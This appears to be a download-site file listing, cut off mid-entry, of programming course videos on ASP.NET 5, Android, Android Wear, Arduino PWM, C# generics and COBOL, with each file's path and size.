programing

mp4   Hot:188   Size:13.23 GB   Created:2017-09-01 07:28:42   Update:2021-04-21 01:06:52  

Download link

File List

  • 文件过大导致无法格式化,将以元数据展示。
    [{"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Adding ASP.NET MVC to your application-431216.mp4", "length": 8508476}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Adding Error Handling and Diagnostics-431233.mp4", "length": 11391216}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Adding Identity Services to your application-431247.mp4", "length": 10766806}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Automating development tasks with Gulp-431213.mp4", "length": 23323757}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Avoiding Cross-Site Request Forgery-431251.mp4", "length": 11812692}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Avoiding page refreshes with partial rendering-431241.mp4", "length": 16170869}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Configuring database connection strings-431254.mp4", "length": 13709541}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Consuming Web APIs from the browser-431244.mp4", "length": 13497148}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Creating a new project-431208.mp4", "length": 10944726}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Creating strongly typed HTML forms-431225.mp4", "length": 12146443}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Customizing URLs with attribute-based routing-431238.mp4", "length": 12103338}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Deploying an ASP.NET 5 application-431253.mp4", "length": 7655565}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Deploying to IIS server-431255.mp4", "length": 17364986}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Deploying to Microsoft Azure via Source Control-431257.mp4", "length": 16460080}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Deploying to Microsoft Azure via Visual Studio-431256.mp4", "length": 8878054}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Dynamically configuring Identity Services-431248.mp4", "length": 12890355}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Dynamically control behavior with custom configuration-431234.mp4", "length": 23078959}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Exposing Web API endpoints-431242.mp4", "length": 11442870}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Exposing data through web APIs-431243.mp4", "length": 14195327}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Handling requests with controllers-431217.mp4", "length": 12768543}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Increase maintainability with dependency injection-431235.mp4", "length": 13403588}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Leveraging external dependencies-431210.mp4", "length": 9015070}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Managing client-side artifacts with Bower-431212.mp4", "length": 10555188}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Next steps-431259.mp4", "length": 3489987}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Passing data from the controller to the view-431221.mp4", "length": 7518205}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Passing parameters to controller actions-431218.mp4", "length": 3970582}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Posting form data to controller actions-431226.mp4", "length": 10809100}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Rendering HTML with Razor views-431219.mp4", "length": 8541614}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Rendering data with strongly typed views-431222.mp4", "length": 5737016}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Representing the database using Entity Framework-431229.mp4", "length": 13674523}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Responding to HTTP requests-431209.mp4", "length": 11447910}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Reusing application features with view components-431237.mp4", "length": 21084804}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Reusing shared HTML markup with layouts-431220.mp4", "length": 7865469}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Reusing view logic with injectable properties-431236.mp4", "length": 8860372}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Reusing view markup with partial views-431223.mp4", "length": 12091951}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Securing controller actions from unauthorized access-431246.mp4", "length": 3173862}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Serving static files-431211.mp4", "length": 12200242}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Setting up your development environment-431206.mp4", "length": 6348270}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/The building blocks of an ASP.NET 5 application-431202.mp4", "length": 11583599}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Understanding 'Mobile First'-431240.mp4", "length": 10815036}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Understanding ASP.NET 5 for ASP.NET developers-431203.mp4", "length": 24643408}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Understanding the MVC pattern-431215.mp4", "length": 14969058}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Using Entity Framework to read from a database-431231.mp4", "length": 8217803}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Using Entity Framework to write to a database-431230.mp4", "length": 8527925}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Using Identity Services to allow users to login to your site-431250.mp4", "length": 12621589}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Using Identity Services to create user accounts-431249.mp4", "length": 8863892}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Using tag helpers to simplify your forms-431228.mp4", "length": 13975349}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Using the exercise files-431201.mp4", "length": 6343929}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Validating form post data-431227.mp4", "length": 14703104}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Welcome-431199.mp4", "length": 5170094}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/What you should know before watching this course-431200.mp4", "length": 3325548}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/Working with beta software-431204.mp4", "length": 13395284}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_368051-2.html/a.bat", "length": 6515}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Add command line tools to the path-456754.mp4", "length": 10887021}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Add items to a menu at runtime-456785.mp4", "length": 13044695}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Add views to a view group with Java-456769.mp4", "length": 28882974}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Android market fragmentation-456792.mp4", "length": 32950608}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Configure the Android SDK-456749.mp4", "length": 6556471}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Connect a physical device for testing-456753.mp4", "length": 36640812}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Create a custom launcher icon-456779.mp4", "length": 16190433}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Create alternative resources-456793.mp4", "length": 18941222}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Create and open a detail activity-456801.mp4", "length": 22438359}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Create layout resource files-456763.mp4", "length": 22427337}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Create multiple versions of images-456795.mp4", "length": 15233785}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Create new activities and layouts-456788.mp4", "length": 24511206}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Create virtual devices for testing-456752.mp4", "length": 14509391}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Create your first Android app-456751.mp4", "length": 16911091}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Customize list item displays-456799.mp4", "length": 37571491}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Customize text and image displays-456800.mp4", "length": 18563145}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Define alternative dimension resources-456794.mp4", "length": 15661737}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Define the options menu with XML-456784.mp4", "length": 16358776}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Display an array of data in a list-456798.mp4", "length": 27432857}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Display an image resource with ImageView-456780.mp4", "length": 21073414}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Display and collect text values-456770.mp4", "length": 27105281}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Display image resources at runtime-456781.mp4", "length": 19288677}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Display images from the assets folder-456782.mp4", "length": 23750117}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Display menu items in the action bar-456786.mp4", "length": 24212947}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Display messages with Toast and Snackbar-456771.mp4", "length": 25360148}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Explore the SDK's command line tools-456755.mp4", "length": 17113776}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Explore the activity lifecycle-456773.mp4", "length": 12094175}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Explore the project structure-456758.mp4", "length": 25854965}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Exploring the Android app framework-456745.mp4", "length": 15257612}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Exploring the history of Android-456744.mp4", "length": 21951896}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Handle View events in layout files-456775.mp4", "length": 11616383}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Handle View events with Java code-456776.mp4", "length": 12489772}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Handle changes in screen orientation-456777.mp4", "length": 18905798}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Install Android Studio on Mac-456748.mp4", "length": 11565230}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Install Android Studio on Windows-456747.mp4", "length": 12476705}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Lay out activities with fragments-456796.mp4", "length": 18340785}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Lay out screens with ViewGroup and View-456765.mp4", "length": 7230213}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Manage Gradle build scripts-456759.mp4", "length": 15818749}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Manage the app manifest file-456760.mp4", "length": 18310060}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Modify material design themes and styles-456764.mp4", "length": 15254889}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Next steps-456805.mp4", "length": 10566434}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Open other apps with implicit intents-456790.mp4", "length": 28387769}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Pass data to a detail activity-456802.mp4", "length": 36444102}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Programming with Java-456746.mp4", "length": 11128821}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Return data to a parent activity-456803.mp4", "length": 37686861}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Start activities with explicit intents-456789.mp4", "length": 17607399}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Trace lifecycle events with Logcat-456774.mp4", "length": 26780653}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Units of measurement-456766.mp4", "length": 14561653}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Use dependencies and support libraries-456761.mp4", "length": 20262111}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Use the developer documentation-456756.mp4", "length": 15417095}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Using LinearLayout containers-456767.mp4", "length": 17398594}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Using RelativeLayout containers-456768.mp4", "length": 25259208}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Using the exercise files-456742.mp4", "length": 7643225}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/Welcome-456740.mp4", "length": 22368632}, {"path": "Android-tutorials_Android-App-Development-Essential-Training_442863-2.html/What you need to know before starting this course-456741.mp4", "length": 8974868}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Accepting voice input in a wearable app-437129.mp4", "length": 23714123}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Adding pages to a notification-437118.mp4", "length": 14237755}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Adding wearable features to a notification-437116.mp4", "length": 15391437}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Asking for confirmations-437127.mp4", "length": 42489493}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Building and signing an app package-437135.mp4", "length": 6625955}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Configuring the Android SDK for wearable development-437107.mp4", "length": 6858122}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Connecting a physical watch with Bluetooth debugging-437111.mp4", "length": 17236042}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Connecting a physical watch with USB debugging-437110.mp4", "length": 4366105}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Connecting the devices with GoogleApiClient-437131.mp4", "length": 28718312}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Creating 'always on' activities-437128.mp4", "length": 22030365}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Creating a wearable app-437122.mp4", "length": 9690743}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Creating an Android Wear virtual device for testing-437108.mp4", "length": 9593663}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Displaying action buttons in a notification-437117.mp4", "length": 22026280}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Displaying an action button with ActionPage-437126.mp4", "length": 17728478}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Displaying cards with CardFragment-437125.mp4", "length": 24298255}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Exploring user interface recommendations for wearable apps-437124.mp4", "length": 11176483}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/How the launcher icon affects notifications-437114.mp4", "length": 5894567}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Installing apps on handheld and wearable devices-437136.mp4", "length": 8540611}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Managing layouts for multiple watch shapes-437123.mp4", "length": 12238619}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Next steps-437138.mp4", "length": 4654653}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Pairing a physical phone to a virtual watch-437109.mp4", "length": 10775609}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Receiving a message on the phone-437133.mp4", "length": 22038113}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Receiving voice input in a notification-437120.mp4", "length": 28667199}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Sending a message from the watch-437132.mp4", "length": 21595175}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Sending notifications from handheld apps-437113.mp4", "length": 22237664}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Stacking notifications-437119.mp4", "length": 15677289}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Using built-in notification styles-437115.mp4", "length": 16733247}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Using the exercise files-437105.mp4", "length": 5167695}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/Welcome-437103.mp4", "length": 6265256}, {"path": "Android-tutorials_Building-Apps-Android-Wear-Devices_361468-2.html/What you should know before watching this course-437104.mp4", "length": 8786691}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Calibrating an analog input to fade an LED precisely-438567.mp4", "length": 13201480}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Challenge - Controlling a DC motor with an H bridge and potentiometer-438582.mp4", "length": 2331184}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Challenge - Fading through the rainbow with PWM-438572.mp4", "length": 2361827}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Challenge - Matching PWM and non-PWM LED brightness-438555.mp4", "length": 4221455}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Challenge - Programming an LED that reacts to brightness-438568.mp4", "length": 2608674}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Challenge - Understanding the math behind the map function-438563.mp4", "length": 2266632}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Challenges-438550.mp4", "length": 2990406}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Comparing DC motors, servos, and stepper motors-438575.mp4", "length": 22623970}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Conclusion-438585.mp4", "length": 9413099}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Controlling DC motor speed with an analog input and transistor-438579.mp4", "length": 18231463}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Controlling a DC motor with an H bridge-438581.mp4", "length": 15720700}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Controlling a continuous rotation servo with an analog input-438578.mp4", "length": 9514349}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Controlling a servo with an analog input-438577.mp4", "length": 5362268}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Diving deeper into H bridge control-438580.mp4", "length": 7400719}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Exploring the fundamentals of PWM-438552.mp4", "length": 9045044}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Fading an LED with PWM with code-438566.mp4", "length": 7853046}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Faking PWM on a non-PWM pin-438554.mp4", "length": 8054261}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Finding logic bugs in your code-438560.mp4", "length": 10760972}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Implementing basic servo control-438576.mp4", "length": 7742199}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Introducing various analog inputs-438558.mp4", "length": 29896973}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Mixing colors on an RGB LED using three analog inputs-438571.mp4", "length": 9096859}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Solution - Controlling a DC motor with an H bridge and potentiometer-438583.mp4", "length": 7547484}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Solution - Fading through the rainbow with PWM-438573.mp4", "length": 8341644}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Solution - Matching PWM and non-PWM LED brightness-438556.mp4", "length": 12015015}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Solution - Programming an LED that reacts to brightness-438569.mp4", "length": 13108406}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Solution - Understanding the math behind the map function-438564.mp4", "length": 3164789}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Testing components with a multimeter-438561.mp4", "length": 28647238}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Understanding the basics of analog input-438559.mp4", "length": 11779217}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Using an RGB LED-438570.mp4", "length": 11339617}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Using basic PWM output-438553.mp4", "length": 11721822}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Using the exercise files-438549.mp4", "length": 736294}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Using the map function-438562.mp4", "length": 11607376}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/Welcome-438547.mp4", "length": 23177676}, {"path": "Arduino-tutorials_Arduino-Pulse-Width-Modulation_372543-2.html/What you should know-438548.mp4", "length": 1923527}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Challenge - Building a random number generator using an interface-435150.mp4", "length": 3866386}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Challenge - Getting information from a list-435157.mp4", "length": 5718159}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Defining and implementing an interface-435145.mp4", "length": 15681809}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Exploring the generic list collections-435154.mp4", "length": 25930874}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Goodbye-435160.mp4", "length": 787736}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Implementing multiple interfaces-435147.mp4", "length": 11054864}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Setting up the development environment-435139.mp4", "length": 2038296}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Solution - Building a random number generator using an interface-435151.mp4", "length": 5997344}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Solution - Getting information from a list-435158.mp4", "length": 9775731}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Understanding C# interfaces-435144.mp4", "length": 5482976}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Understanding generics in C#-435142.mp4", "length": 4179317}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Understanding interfaces in C#-435141.mp4", "length": 5233336}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Understanding the benefits of generics-435153.mp4", "length": 12157041}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Using .NET-defined interfaces-435149.mp4", "length": 17406698}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Using a dictionary-435156.mp4", "length": 10491773}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Using explicit interface implementation-435148.mp4", "length": 9364262}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Using interfaces and casting-435146.mp4", "length": 10313685}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Using the exercise files-435138.mp4", "length": 2047993}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Using the queue and stack-435155.mp4", "length": 12290113}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/Welcome-435136.mp4", "length": 7860105}, {"path": "C-tutorials_C-Interfaces-Generics_388134-2.html/What you should already know-435137.mp4", "length": 3807851}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Branching in COBOL (go to)-452665.mp4", "length": 11144867}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/COBOL coding rules-452652.mp4", "length": 12531501}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/COBOL naming standards-452656.mp4", "length": 9895665}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Challenge - Calculate employee raises-452677.mp4", "length": 3199970}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Challenge - Create mailing labels-452704.mp4", "length": 2262568}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Challenge - Create table of weather data-452698.mp4", "length": 4975065}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Challenge - Merge two employee files-452684.mp4", "length": 2996893}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Challenge - Simulate a cash register-452669.mp4", "length": 2990253}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Challenge - Using the constant PI-452659.mp4", "length": 2030261}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Challenges explained-452645.mp4", "length": 2025117}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Computational verbs-452663.mp4", "length": 17891720}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Creating tables in COBOL-452696.mp4", "length": 18949434}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Data types and description-452657.mp4", "length": 17189106}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Decision making in COBOL-452664.mp4", "length": 11043466}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Designing programs-452653.mp4", "length": 3030847}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Direct access files in COBOL-452687.mp4", "length": 5771295}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Downloading GnuCOBOL-452648.mp4", "length": 5577910}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Downloading and installing Cygwin-452649.mp4", "length": 9015898}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Editing, compiling, linking, and running COBOL programs-452654.mp4", "length": 15198289}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/File error checking in COBOL-452674.mp4", "length": 13896804}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/File organization and access methods-452672.mp4", "length": 4352208}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/How to use COBOL verbs-452662.mp4", "length": 10058192}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Inserting records in a master data file-452680.mp4", "length": 26456752}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Inspecting strings in COBOL-452701.mp4", "length": 8546890}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Introduction to COBOL-452647.mp4", "length": 3837854}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Literal and figurative constants-452658.mp4", "length": 13441246}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Merging records in COBOL-452683.mp4", "length": 11344004}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Next steps-452707.mp4", "length": 1129233}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Perform n times-452667.mp4", "length": 10179252}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Perform...until-452668.mp4", "length": 6706388}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Perform_Perform...thru-452666.mp4", "length": 9765485}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Processing files in COBOL-452675.mp4", "length": 8027019}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Reading sequential files in COBOL-452673.mp4", "length": 14053549}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Relative files in COBOL-452688.mp4", "length": 14038268}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Searching tables in COBOL-452697.mp4", "length": 10449424}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Solution - Create a master employee file-452685.mp4", "length": 11257872}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Solution - Find the area of a circle-452660.mp4", "length": 14387444}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Solution - Implement a cash register-452670.mp4", "length": 17294502}, {"path": "COBOL-tutorials_Up-Running-COBOL_411377-2.html/Solution - Parse CSV file for mailing labels-452705.mp4", "length": 11804410}, {"path": 